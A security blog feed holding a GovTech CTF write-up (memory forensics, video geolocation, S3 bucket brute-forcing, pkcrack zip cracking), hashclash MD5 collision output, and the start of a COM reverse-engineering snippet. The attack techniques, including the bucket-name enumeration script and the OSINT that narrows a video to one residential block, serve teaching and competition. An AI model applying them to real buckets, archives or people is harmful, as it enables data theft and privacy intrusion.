<span class="s2">00000090: 51ea fedf a78c b650 7a48 da5e 3f3e c2b5 Q......PzH.^?>..</span>
<span class="s2">000000a0: 7db7 8087 6312 a0f8 036f e1d6 f50e 6e99 }...c....o....n.</span>
<span class="s2">000000b0: f315 2240 c9a2 0d77 4943 558b 15c7 6440 .."</span>@...wICU...d@
</code></pre></div></td></tr></table></div>
<p>The generation process is as follows: </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span>
<span class="normal">43</span>
<span class="normal">44</span>
<span class="normal">45</span>
<span class="normal">46</span>
<span class="normal">47</span>
<span class="normal">48</span>
<span class="normal">49</span>
<span class="normal">50</span>
<span class="normal">51</span>
<span class="normal">52</span>
<span class="normal">53</span>
<span class="normal">54</span>
<span class="normal">55</span>
<span class="normal">56</span>
<span class="normal">57</span>
<span class="normal">58</span>
<span class="normal">59</span>
<span class="normal">60</span>
<span class="normal">61</span>
<span class="normal">62</span>
<span class="normal">63</span>
<span class="normal">64</span>
<span class="normal">65</span>
<span class="normal">66</span></pre></div></td><td class="code"><div><pre><span></span><code>$<span class="w"> </span>xxd<span class="w"> </span>message.bin
<span class="m">00000000</span>:<span class="w"> </span>492c<span class="w"> </span><span class="m">2042</span><span class="w"> </span>656e<span class="w"> </span>6a61<span class="w"> </span>6d69<span class="w"> </span>6e20<span class="w"> </span>4c69<span class="w"> </span>6d2c<span class="w"> </span>I,<span class="w"> </span>Benjamin<span class="w"> </span>Lim,
<span class="m">00000010</span>:<span class="w"> </span><span class="m">2069</span><span class="w"> </span>6e20<span class="w"> </span>6d79<span class="w"> </span>206c<span class="w"> </span><span class="m">6966</span><span class="w"> </span><span class="m">6574</span><span class="w"> </span>696d<span class="w"> </span>652c<span class="w"> </span><span class="k">in</span><span class="w"> </span>my<span class="w"> </span>lifetime,
<span class="m">00000020</span>:<span class="w"> </span><span class="m">2063</span><span class="w"> </span>6f6e<span class="w"> </span><span class="m">6665</span><span class="w"> </span><span class="m">7373</span><span class="w"> </span><span class="m">2074</span><span class="w"> </span>6f20<span class="w"> </span><span class="m">7468</span><span class="w"> </span><span class="m">6520</span><span class="w"> </span>confess<span class="w"> </span>to<span class="w"> </span>the
<span class="m">00000030</span>:<span class="w"> </span>6d75<span class="w"> </span><span class="m">7264</span><span class="w"> </span><span class="m">6572</span><span class="w"> </span>206f<span class="w"> </span><span class="m">6620</span><span class="w"> </span><span class="m">6120</span><span class="w"> </span>746f<span class="w"> </span><span class="m">7461</span><span class="w"> </span>murder<span class="w"> </span>of<span class="w"> </span>a<span class="w"> </span>tota
<span class="m">00000040</span>:<span class="w"> </span>6c20<span class="w"> </span>6e6f<span class="w"> </span>2e20<span class="w"> </span>6f66<span class="w"> </span><span class="m">2030</span><span class="w"> </span><span class="m">2070</span><span class="w"> </span>656f<span class="w"> </span>706c<span class="w"> </span>l<span class="w"> </span>no.<span class="w"> </span>of<span class="w"> </span><span class="m">0</span><span class="w"> </span>peopl
<span class="m">00000050</span>:<span class="w"> </span>652f<span class="w"> </span><span class="m">7065</span><span class="w"> </span><span class="m">7273</span><span class="w"> </span>6f6e<span class="w"> </span>2e00<span class="w"> </span><span class="m">0000</span><span class="w"> </span>e/person....
/hashclash/scripts/poc_no.sh<span class="w"> </span>message.bin
MD5<span class="w"> </span>differential<span class="w"> </span>path<span class="w"> </span>toolbox
Copyright<span class="w"> </span><span class="o">(</span>C<span class="o">)</span><span class="w"> </span><span class="m">2009</span><span class="w"> </span>Marc<span class="w"> </span>Stevens
http://homepages.cwi.nl/~stevens/
delta_m<span class="o">[</span><span class="m">2</span><span class="o">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">[</span>!8!<span class="o">]</span>
In-block<span class="w"> </span>prefix<span class="w"> </span>words:<span class="w"> </span><span class="m">7</span>
Parsed<span class="w"> </span>path:
Q-3:<span class="w"> </span><span class="p">|</span><span class="m">00010100</span><span class="w"> </span><span class="m">10010010</span><span class="w"> </span><span class="m">01110101</span><span class="w"> </span><span class="m">01110000</span><span class="p">|</span>
Q-2:<span class="w"> </span><span class="p">|</span><span class="m">00011010</span><span class="w"> </span><span class="m">10110110</span><span class="w"> </span><span class="m">00011101</span><span class="w"> </span><span class="m">10001110</span><span class="p">|</span>
Q-1:<span class="w"> </span><span class="p">|</span><span class="m">10110111</span><span class="w"> </span><span class="m">00001111</span><span class="w"> </span><span class="m">01000010</span><span class="w"> </span><span class="m">11111100</span><span class="p">|</span>
Q0:<span class="w"> </span><span class="p">|</span><span class="m">11001010</span><span class="w"> </span><span class="m">11000000</span><span class="w"> </span><span class="m">10000111</span><span class="w"> </span><span class="m">11010111</span><span class="p">|</span><span class="w"> </span>ok<span class="w"> </span><span class="nv">p</span><span class="o">=</span><span class="m">1</span>
Q1:<span class="w"> </span><span class="p">|</span><span class="m">10011011</span><span class="w"> </span><span class="m">01101011</span><span class="w"> </span><span class="m">00100000</span><span class="w"> </span><span class="m">01001101</span><span class="p">|</span><span class="w"> </span>ok<span class="w"> </span><span class="nv">p</span><span class="o">=</span><span class="m">1</span>
Q2:<span class="w"> </span><span class="p">|</span><span class="m">10101110</span><span class="w"> </span><span class="m">11101011</span><span class="w"> </span><span class="m">10010001</span><span class="w"> </span><span class="m">11010000</span><span class="p">|</span><span class="w"> </span>ok<span class="w"> </span><span class="nv">p</span><span class="o">=</span><span class="m">1</span>
Q3:<span class="w"> </span><span class="p">|</span><span class="m">10000</span>+-1<span class="w"> </span><span class="m">01100111</span><span class="w"> </span><span class="m">10111101</span><span class="w"> </span><span class="m">01000101</span><span class="p">|</span><span class="w"> </span>ok<span class="w"> </span><span class="nv">p</span><span class="o">=</span><span class="m">1</span>
Q4:<span class="w"> </span><span class="p">|</span><span class="m">011000</span>+0<span class="w"> </span><span class="m">0000110</span>+<span class="w"> </span><span class="m">10010011</span><span class="w"> </span><span class="m">11011010</span><span class="p">|</span><span class="w"> </span>ok<span class="w"> </span><span class="nv">p</span><span class="o">=</span><span class="m">1</span>
Q5:<span class="w"> </span><span class="p">|</span>-------1<span class="w"> </span><span class="m">1000010</span>+<span class="w"> </span><span class="m">11100100</span><span class="w"> </span><span class="m">10011</span>-++<span class="p">|</span><span class="w"> </span>ok<span class="w"> </span><span class="nv">p</span><span class="o">=</span><span class="m">1</span>
Q6:<span class="w"> </span><span class="p">|</span><span class="m">101001</span>+1<span class="w"> </span><span class="m">110110</span>+-<span class="w"> </span>+-0+00++<span class="w"> </span>--1-++++<span class="p">|</span><span class="w"> </span>ok<span class="w"> </span><span class="nv">p</span><span class="o">=</span><span class="m">1</span>
Q7:<span class="w"> </span><span class="p">|</span>+-+10-00<span class="w"> </span>+0011+01<span class="w"> </span><span class="m">011</span>+00-1<span class="w"> </span><span class="m">0</span>+1010+-<span class="p">|</span><span class="w"> </span>ok<span class="w"> </span><span class="nv">p</span><span class="o">=</span><span class="m">0</span>.0253906
Q8:<span class="w"> </span><span class="p">|</span>+.+...-.<span class="w"> </span>+......+<span class="w"> </span>...+.-.+<span class="w"> </span>.+.-.+.+<span class="p">|</span>
Saving<span class="w"> </span>data/path_prefix.bin...done.
Continuing<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="m">3</span><span class="w"> </span>seconds...
Extend<span class="w"> </span>MD5<span class="w"> </span>differential<span class="w"> </span>paths<span class="w"> </span>forward
Copyright<span class="w"> </span><span class="o">(</span>C<span class="o">)</span><span class="w"> </span><span class="m">2009</span><span class="w"> </span>Marc<span class="w"> </span>Stevens
http://homepages.cwi.nl/~stevens/
delta_m<span class="o">[</span><span class="m">2</span><span class="o">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">[</span>!8!<span class="o">]</span>
...
<span class="m">8192</span><span class="w"> </span><span class="m">0</span>
<span class="m">16384</span><span class="w"> </span><span class="m">0</span>
<span class="m">32768</span><span class="w"> </span><span class="m">0</span>
<span class="m">65536</span><span class="w"> </span><span class="m">0</span>
<span class="m">115866</span><span class="w"> </span><span class="m">1</span>
<span class="m">121381</span><span class="w"> </span><span class="m">2</span>
<span class="m">131072</span><span class="w"> </span><span class="m">2</span>
<span class="m">179993</span><span class="w"> </span><span class="m">4</span>
<span class="m">262144</span><span class="w"> </span><span class="m">6</span>
<span class="m">311107</span><span class="w"> </span><span class="m">8</span>
Block<span class="w"> </span><span class="m">1</span>:<span class="w"> </span>./data/coll1_66747968
c0<span class="w"> </span><span class="m">65</span><span class="w"> </span>0e<span class="w"> </span>c7<span class="w"> </span>c9<span class="w"> </span>5d<span class="w"> </span><span class="m">62</span><span class="w"> </span><span class="m">42</span><span class="w"> </span>0f<span class="w"> </span><span class="m">02</span><span class="w"> </span>d4<span class="w"> </span><span class="m">06</span><span class="w"> </span>aa<span class="w"> </span><span class="m">38</span><span class="w"> </span>d3<span class="w"> </span><span class="m">95</span>
<span class="m">51</span><span class="w"> </span>ea<span class="w"> </span>fe<span class="w"> </span>df<span class="w"> </span>a7<span class="w"> </span>8c<span class="w"> </span>b6<span class="w"> </span><span class="m">50</span><span class="w"> </span>7a<span class="w"> </span><span class="m">48</span><span class="w"> </span>da<span class="w"> </span>5e<span class="w"> </span>3f<span class="w"> </span>3e<span class="w"> </span>c2<span class="w"> </span>b5
7d<span class="w"> </span>b7<span class="w"> </span><span class="m">80</span><span class="w"> </span><span class="m">87</span><span class="w"> </span><span class="m">63</span><span class="w"> </span><span class="m">12</span><span class="w"> </span>a0<span class="w"> </span>f8<span class="w"> </span><span class="m">03</span><span class="w"> </span>6f<span class="w"> </span>e1<span class="w"> </span>d6<span class="w"> </span>f5<span class="w"> </span>0e<span class="w"> </span>6e<span class="w"> </span><span class="m">99</span>
f3<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">22</span><span class="w"> </span><span class="m">40</span><span class="w"> </span>c9<span class="w"> </span>a2<span class="w"> </span>0d<span class="w"> </span><span class="m">77</span><span class="w"> </span><span class="m">49</span><span class="w"> </span><span class="m">43</span><span class="w"> </span><span class="m">55</span><span class="w"> </span>8b<span class="w"> </span><span class="m">15</span><span class="w"> </span>c7<span class="w"> </span><span class="m">64</span><span class="w"> </span><span class="m">40</span>
Block<span class="w"> </span><span class="m">2</span>:<span class="w"> </span>./data/coll2_66747968
c0<span class="w"> </span><span class="m">65</span><span class="w"> </span>0e<span class="w"> </span>c7<span class="w"> </span>c9<span class="w"> </span>5d<span class="w"> </span><span class="m">62</span><span class="w"> </span><span class="m">42</span><span class="w"> </span>0f<span class="w"> </span><span class="m">03</span><span class="w"> </span>d4<span class="w"> </span><span class="m">06</span><span class="w"> </span>aa<span class="w"> </span><span class="m">38</span><span class="w"> </span>d3<span class="w"> </span><span class="m">95</span>
<span class="m">51</span><span class="w"> </span>ea<span class="w"> </span>fe<span class="w"> </span>df<span class="w"> </span>a7<span class="w"> </span>8c<span class="w"> </span>b6<span class="w"> </span><span class="m">50</span><span class="w"> </span>7a<span class="w"> </span><span class="m">48</span><span class="w"> </span>da<span class="w"> </span>5e<span class="w"> </span>3f<span class="w"> </span>3e<span class="w"> </span>c2<span class="w"> </span>b5
7d<span class="w"> </span>b7<span class="w"> </span><span class="m">80</span><span class="w"> </span><span class="m">87</span><span class="w"> </span><span class="m">63</span><span class="w"> </span><span class="m">12</span><span class="w"> </span>a0<span class="w"> </span>f8<span class="w"> </span><span class="m">03</span><span class="w"> </span>6f<span class="w"> </span>e1<span class="w"> </span>d6<span class="w"> </span>f5<span class="w"> </span>0e<span class="w"> </span>6e<span class="w"> </span><span class="m">99</span>
f3<span class="w"> </span><span class="m">15</span><span class="w"> </span><span class="m">22</span><span class="w"> </span><span class="m">40</span><span class="w"> </span>c9<span class="w"> </span>a2<span class="w"> </span>0d<span class="w"> </span><span class="m">77</span><span class="w"> </span><span class="m">49</span><span class="w"> </span><span class="m">43</span><span class="w"> </span><span class="m">55</span><span class="w"> </span>8b<span class="w"> </span><span class="m">15</span><span class="w"> </span>c7<span class="w"> </span><span class="m">64</span><span class="w"> </span><span class="m">40</span>
Found<span class="w"> </span>collision!
f3f2f56ac8fbf44e1c326c19a93fe61c<span class="w"> </span>collision1.bin
f3f2f56ac8fbf44e1c326c19a93fe61c<span class="w"> </span>collision2.bin
9d532ab75da9aaaaf7210748f3c4678a0ffb2b25<span class="w"> </span>collision1.bin
2d7ff13b9c83243e722fc51b67128f49e5ec6d0f<span class="w"> </span>collision2.bin
<span class="m">4</span><span class="w"> </span>-rw-r--r--<span class="w"> </span><span class="m">1</span><span class="w"> </span>root<span class="w"> </span>root<span class="w"> </span><span class="m">192</span><span class="w"> </span>Dec<span class="w"> </span><span class="m">31</span><span class="w"> </span><span class="m">08</span>:21<span class="w"> </span>collision1.bin
<span class="m">4</span><span class="w"> </span>-rw-r--r--<span class="w"> </span><span class="m">1</span><span class="w"> </span>root<span class="w"> </span>root<span class="w"> </span><span class="m">192</span><span class="w"> </span>Dec<span class="w"> </span><span class="m">31</span><span class="w"> </span><span class="m">08</span>:21<span class="w"> </span>collision2.bin
</code></pre></div></td></tr></table></div>GovTech CTF Writeup2020-12-09T21:26:00+08:002020-12-09T21:26:00+08:00Benjamin Limtag:limbenjamin.com,2020-12-09:/articles/govtech-ctf-writeup.html<h1>Index</h1>
<p>Forensics - <a href="#forensics">Walking down a colourful memory lane</a><br>
OSINT - <a href="#osint">Sounds of freedom!</a><br>
Cloud - <a href="#cloud">Find the leaking bucket!</a><br>
Bonus - <a href="#bonus">Bonus flag for submitting Awesome Write-up</a></p>
<h1><a name="forensics">Walking down a colourful memory lane</a></h1>
<blockquote>
<p>We are trying to find out how did our machine get infected. What did the user do?</p>
<p>Please view this …</p></blockquote><h1>Index</h1>
<p>Forensics - <a href="#forensics">Walking down a colourful memory lane</a><br>
OSINT - <a href="#osint">Sounds of freedom!</a><br>
Cloud - <a href="#cloud">Find the leaking bucket!</a><br>
Bonus - <a href="#bonus">Bonus flag for submitting Awesome Write-up</a></p>
<h1><a name="forensics">Walking down a colourful memory lane</a></h1>
<blockquote>
<p>We are trying to find out how did our machine get infected. What did the user do?</p>
<p>Please view this Document for download instructions. </p>
<p>forensics-challenge-1.mem - 2.0GB</p>
</blockquote>
<p>I was kind of dreading this challenge when I first read it. I wouldn't have taken on this case as an ex-cyber forensics analyst. Forensic cases usually have a trigger point where analysis can start, a suspicious executable running on a workstation, a large data upload at a certain time... Finding anything malicious is not forensics, it is a treasure hunt. Are you referring to the adware running on the machine, or do I have to dig much much deeper to get to the UEFI rootkit. </p>
<p>Anyway, to start analysing the memory image, we normally run the volatility <code>imageinfo</code> plugin to determine the OS version. If multiple profiles are returned, the general rule of thumb is to select the most specific profile, the one with release version. It is likely to be a better fit and plugins will have a higher chance of working correctly. </p>
<p><img alt="imageinfo" src="//limbenjamin.com/media/gtctf_f0_imageinfo.png"></p>
<p>After unsucessfully looking through various forensic artefacts (i.e. event logs, registry...), I decided to look at IE history using the volatility tool. We can see that the user is using IE to download Chrome. We finally have a lead to follow. </p>
<p><img alt="IE" src="//limbenjamin.com/media/gtctf_f1_ie.png"></p>
<p>Unfortunately, the <code>chromehistory</code> plugin did not work for me. This is quite common as memory structures and locations may change with every chrome version update. I decided to manually dump the memory of the chrome process and parse the strings from there. The first step is to use the <code>pstree</code> plugin to get the pid of the process and then use the <code>vaddump</code> plugin to dump the memory. We cannot use <code>procdump</code> as it will only dump the process's executable image. The URLs and web page contents are likely in the heap memory. One benefit of using this generic memory dump method is that such methods work across different applications. It will work even if the user uses opera or other obscure browser or application without dedicated plugins. </p>
<p><img alt="chrome" src="//limbenjamin.com/media/gtctf_f2_chrome.png"></p>
<p><img alt="vaddump" src="//limbenjamin.com/media/gtctf_f3_vaddump.png"></p>
<p>Once the memory has been dumped, I used strings to parse both ASCII and unicode strings from the memory and piped it to a file. Searching for http revealed a mediafire URL that didn't really belong, as the rest of the URLs were related to cybersecurity or govtech. </p>
<p><img alt="mediafire" src="//limbenjamin.com/media/gtctf_f4_mediafire.png"></p>
<p>Upon downloading the png file, I found that it was a tiny 1 row high PNG file and a color picker eventually revealed that the flag was encoded in the individual RGB values of the image. The flag was indeed hidden in a colourful lane! </p>
<p><img alt="color" src="//limbenjamin.com/media/gtctf_f5_color.png"></p>
<p><code>Flag: govtech-csg{m3m0ry_R3dGr33nBlu3z}</code></p>
<h1><a name="osint">Sounds of freedom!</a></h1>
<blockquote>
<p>In a recent raid on a suspected COViD hideout, we found this video in a thumbdrive on-site. We are not sure what this video signifies but we suspect COViD's henchmen might be surveying a potential target site for a biological bomb. We believe that the attack may happen soon. We need your help to identify the water body in this video! This will be a starting point for us to do an area sweep of the vicinity!</p>
</blockquote>
<video width="640" height="480" controls src="//limbenjamin.com/media/gtctf_o0__osint-challenge-7.mp4" ></video>
<p>To me, this was a rather interesting challenge. It is one of the few which does not require any infosecurity knowledge and is fully solvable through observation and logical deduction. </p>
<p>The first clue came from the small road and bus stop opposite. The bus stop is clearly a design seen in Singapore and thus we can conclude that the video is shot in Singapore.</p>
<p>The second clue involved listening to the sounds of freedom, the fighter jets roaring overhead. This suggests that the location is somewhere near the edge of Singapore's airspace, or near one of the airbases. </p>
<p>The third clue came in the form of the aircon compressors. This suggests a residential building since commercial buildings normally have centralised air-conditioning. The more "atas" facade also suggests either a condominium or a more premium form of public housing (i.e. HUDC/DBSS). </p>
<p>Combined with the fact that this building is directly opposite a park with a pond inside of it, a scroll around on google maps reveal a few locations in Singapore that could fulfil these criteria. </p>
<p><img alt="maps" src="//limbenjamin.com/media/gtctf_o1_maps.png"></p>
<p>Bedok Reservoir Park - Quickly eliminated because Bedok Reservoir Road is much wider than the road in the video<br>
Bukit Panjang Park - Eliminated because there are no Condos nearby<br>
Pasir Ris Town Park - Eliminated because there are no bus stops along the road next to the park<br>
Punggol Park - Likely candidate </p>
<p>Using Google street view on the 2 bus stops next to the DBSS at Punggol park quickly revealed that one of the bus stops is indeed the location as seen in the video. The video was shot from Parkland Residences Block 475B S(531475) and the postal code of Punggol park is S(538768). Kids, please be mindful before posting your 10 second tiktok videos. </p>
<p><code>Flag: govtech-csg{538768}</code></p>
<p><img alt="streetview" src="//limbenjamin.com/media/gtctf_o2_streetview.png"></p>
<h1><a name="cloud">Find the leaking bucket!</a></h1>
<blockquote>
<p>It was made known to us that agents of COViD are exfiltrating data to a hidden S3 bucket in AWS! We do not know the bucket name! One tip from our experienced officers is that bucket naming often uses common words related to the company’s business.</p>
<p>Do what you can! Find that hidden S3 bucket (in the format “word1-word2-s4fet3ch”) and find out what was exfiltrated! </p>
</blockquote>
<p>This seemed like a rather simple challenge, at least from the get go. <code>cewl</code> is a good tool if you would like to automatically crawl websites for keywords. However, since there are only a few words and some of the words are in image form, I decided to do it manually. I wrote a python script to enumerate all possible word combinations from both the word cloud and the image. </p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span>
<span class="normal">2</span>
<span class="normal">3</span>
<span class="normal">4</span>
<span class="normal">5</span>
<span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="n">words</span> <span class="o">=</span> <span class="p">[</span><span class="s1">'wireless'</span><span class="p">,</span> <span class="s1">'digital'</span><span class="p">,</span> <span class="s1">'parking'</span><span class="p">,</span> <span class="s1">'data'</span><span class="p">,</span> <span class="s1">'information'</span><span class="p">,</span> <span class="s1">'architecture'</span><span class="p">,</span> <span class="s1">'wifi'</span><span class="p">,</span> <span class="s1">'smartcity'</span><span class="p">,</span> <span class="s1">'computer'</span><span class="p">,</span> <span class="s1">'efficiency'</span><span class="p">,</span> <span class="s1">'technology'</span><span class="p">,</span> <span class="s1">'payment'</span><span class="p">,</span> <span class="s1">'ai'</span><span class="p">,</span> <span class="s1">'fintech'</span><span class="p">,</span> <span class="s1">'analytics'</span><span class="p">,</span> <span class="s1">'applications'</span><span class="p">,</span> <span class="s1">'internet'</span><span class="p">,</span> <span class="s1">'cybersecurity'</span><span class="p">,</span> <span class="s1">'iot'</span><span class="p">,</span> <span class="s1">'innovation'</span><span class="p">,</span> <span class="s1">'systems'</span><span class="p">,</span> <span class="s1">'knowledge'</span><span class="p">,</span> <span class="s1">'communication'</span><span class="p">,</span> <span class="s1">'mobile'</span><span class="p">,</span> <span class="s1">'intelligent'</span><span class="p">,</span> <span class="s1">'safe'</span><span class="p">,</span> <span class="s1">'online'</span><span class="p">,</span> <span class="s1">'technologies'</span><span class="p">,</span> <span class="s1">'the'</span><span class="p">,</span> <span class="s1">'people'</span><span class="p">,</span> <span class="s1">'who'</span><span class="p">,</span> <span class="s1">'are'</span><span class="p">,</span> <span class="s1">'crazy'</span><span class="p">,</span> <span class="s1">'enough'</span><span class="p">,</span> <span class="s1">'to'</span><span class="p">,</span> <span class="s1">'think'</span><span class="p">,</span> <span class="s1">'they'</span><span class="p">,</span> <span class="s1">'can'</span><span class="p">,</span> <span class="s1">'change'</span><span class="p">,</span> <span class="s1">'the'</span><span class="p">,</span> <span class="s1">'world'</span><span class="p">,</span> <span class="s1">'are'</span><span class="p">,</span> <span class="s1">'ones'</span><span class="p">,</span> <span class="s1">'do'</span><span class="p">,</span> <span class="s1">'steve'</span><span class="p">,</span> <span class="s1">'jobs'</span><span class="p">]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">words</span><span class="p">:</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="n">words</span><span class="p">:</span>
<span class="n">k</span> <span class="o">=</span> <span class="n">i</span> <span class="o">+</span> <span class="s2">"-"</span> <span class="o">+</span> <span class="n">j</span> <span class="o">+</span> <span class="s2">"-"</span> <span class="o">+</span> <span class="s2">"s4fet3ch"</span>
<span class="k">print</span> <span class="n">k</span>
</code></pre></div></td></tr></table></div>
<p>I then used <a href="https://github.com/FishermansEnemy/bucket_finder">bucket finder</a> to brute force and find the correct S3 bucket.</p>
<p><img alt="bucket finder" src="//limbenjamin.com/media/gtctf_c0_bucketfinder.png"></p>
<p>Oh shit, why is it encrypted? Interestingly, there seems to be a second encrypted file in there. Well, if we can find an unencrypted version somewhere on the web, maybe we can launch a known plaintext attack? </p>
<p><img alt="stack form" src="//limbenjamin.com/media/gtctf_c1_stackform.png"></p>
<p>I then used <a href="https://github.com/keyunluo/pkcrack">pkcrack</a> to perform the known plaintext attack. <code>pkcrack</code> requires us to zip the unencrypted copy using the same zip algorithm as the original encrypted zip file. I have also added a filler flag file named glag.txt just in case it is required. </p>
<p><img alt="zip" src="//limbenjamin.com/media/gtctf_c2_zip.png"></p>
<p><img alt="pkcrack" src="//limbenjamin.com/media/gtctf_c3_crack.png"></p>
<p>Got it! </p>
<p><code>Flag: govtech-csg{EnCrYpT!0n_D0e$_NoT_M3@n_Y0u_aR3_s4f3}</code> </p>
<h1><a name="bonus">Bonus flag for submitting Awesome Write-up</a></h1>
<p>Looks like there are more flags?</p>
<p><code>Flag: govtech-csg{N5hawwrovddMKXD1xArQ}</code></p>Calling IUnknown COM interface2020-11-07T12:24:00+08:002020-11-07T12:24:00+08:00Benjamin Limtag:limbenjamin.com,2020-11-07:/articles/calling-iunknown-com-interface.html<p>While completing challenge 9 of Flare-On 7, I found a lack of information out there on reverse engineering COM objects. Most tutorials are written from a developer point of view where the Interface Definition Language (IDL) file is available. Reverse engineers don't usually have the luxury and may have to …</p><p>While completing challenge 9 of Flare-On 7, I found a lack of information out there on reverse engineering COM objects. Most tutorials are written from a developer point of view where the Interface Definition Language (IDL) file is available. Reverse engineers don't usually have the luxury and may have to write COM clients without any clue as to what functions are exposed and what arguments to pass to the functions. The code snippet below should allow you to load a COM InprocServer object. Do remember to use <code>regsvr32</code> to register the COM object and to change the CLSID in the code below.</p>
<div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span>
<span class="normal"> 2</span>
<span class="normal"> 3</span>
<span class="normal"> 4</span>
<span class="normal"> 5</span>
<span class="normal"> 6</span>
<span class="normal"> 7</span>
<span class="normal"> 8</span>
<span class="normal"> 9</span>
<span class="normal">10</span>
<span class="normal">11</span>
<span class="normal">12</span>
<span class="normal">13</span>
<span class="normal">14</span>
<span class="normal">15</span>
<span class="normal">16</span>
<span class="normal">17</span>
<span class="normal">18</span>
<span class="normal">19</span>
<span class="normal">20</span>
<span class="normal">21</span>
<span class="normal">22</span>
<span class="normal">23</span>
<span class="normal">24</span>
<span class="normal">25</span>
<span class="normal">26</span>
<span class="normal">27</span>
<span class="normal">28</span>
<span class="normal">29</span>
<span class="normal">30</span>
<span class="normal">31</span>
<span class="normal">32</span>
<span class="normal">33</span>
<span class="normal">34</span>
<span class="normal">35</span>
<span class="normal">36</span>
<span class="normal">37</span>
<span class="normal">38</span>
<span class="normal">39</span>
<span class="normal">40</span>
<span class="normal">41</span>
<span class="normal">42</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf">"windows.h"</span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><ObjBase.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><iostream></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf">"tchar.h"</span>
<span class="k">static</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="n">GUID</span><span class="w"> </span><span class="n">CLSID_SERVER</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>
<span class="p">{</span><span class="w"> </span><span class="mh">0xCEEACC6E</span><span class="p">,</span><span class="w"> </span><span class="mh">0xCCB2</span><span class="p">,</span><span class="w"> </span><span class="mh">0x4C4F</span><span class="p">,</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mh">0xbc</span><span class="p">,</span><span class="w"> </span><span class="mh">0xf6</span><span class="p">,</span><span class="w"> </span><span class="mh">0xd2</span><span class="p">,</span><span class="w"> </span><span class="mh">0x17</span><span class="p">,</span><span class="w"> </span><span class="mh">0x60</span><span class="p">,</span><span class="w"> </span><span class="mh">0x37</span><span class="p">,</span><span class="w"> </span><span class="mh">0xa9</span><span class="p">,</span><span class="w"> </span><span class="mh">0xa7</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">};</span>
<span class="c1">//optional. Can use symbolic constant IID_IUnknown</span>
<span class="k">static</span><span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="n">GUID</span><span class="w"> </span><span class="n">CLSID_IUNKOWN</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>
<span class="p">{</span><span class="w"> </span><span class="mh">0x00000000</span><span class="p">,</span><span class="w"> </span><span class="mh">0x0000</span><span class="p">,</span><span class="w"> </span><span class="mh">0x0000</span><span class="p">,</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="mh">0xc0</span><span class="p">,</span><span class="w"> </span><span class="mh">0x00</span><span class="p">,</span><span class="w"> </span><span class="mh">0x00</span><span class="p">,</span><span class="w"> </span><span class="mh">0x00</span><span class="p">,</span><span class="w"> </span><span class="mh">0x00</span><span class="p">,</span><span class="w"> </span><span class="mh">0x00</span><span class="p">,</span><span class="w"> </span><span class="mh">0x00</span><span class="p">,</span><span class="w"> </span><span class="mh">0x46</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">};</span>
<span class="n">interface</span><span class="w"> </span><span class="n">IUnKnownClass</span><span class="w"> </span><span class="o">:</span><span class="n">IUnknown</span><span class="w"> </span>
<span class="p">{</span>
<span class="w"> </span><span class="k">virtual</span><span class="w"> </span><span class="n">HRESULT</span><span class="w"> </span><span class="kr">__stdcall</span><span class="w"> </span><span class="n">func1</span><span class="p">(</span>
<span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="kt">uint64_t</span><span class="w"> </span><span class="n">y</span><span class="w"> </span>
<span class="w"> </span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">virtual</span><span class="w"> </span><span class="n">HRESULT</span><span class="w"> </span><span class="kr">__stdcall</span><span class="w"> </span><span class="n">func2</span><span class="p">(</span>
<span class="w"> </span><span class="k">const</span><span class="w"> </span><span class="kt">uint16_t</span><span class="w"> </span><span class="n">z</span>
<span class="w"> </span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">virtual</span><span class="w"> </span><span class="n">HRESULT</span><span class="w"> </span><span class="kr">__stdcall</span><span class="w"> </span><span class="n">func3</span><span class="p">()</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">};</span>
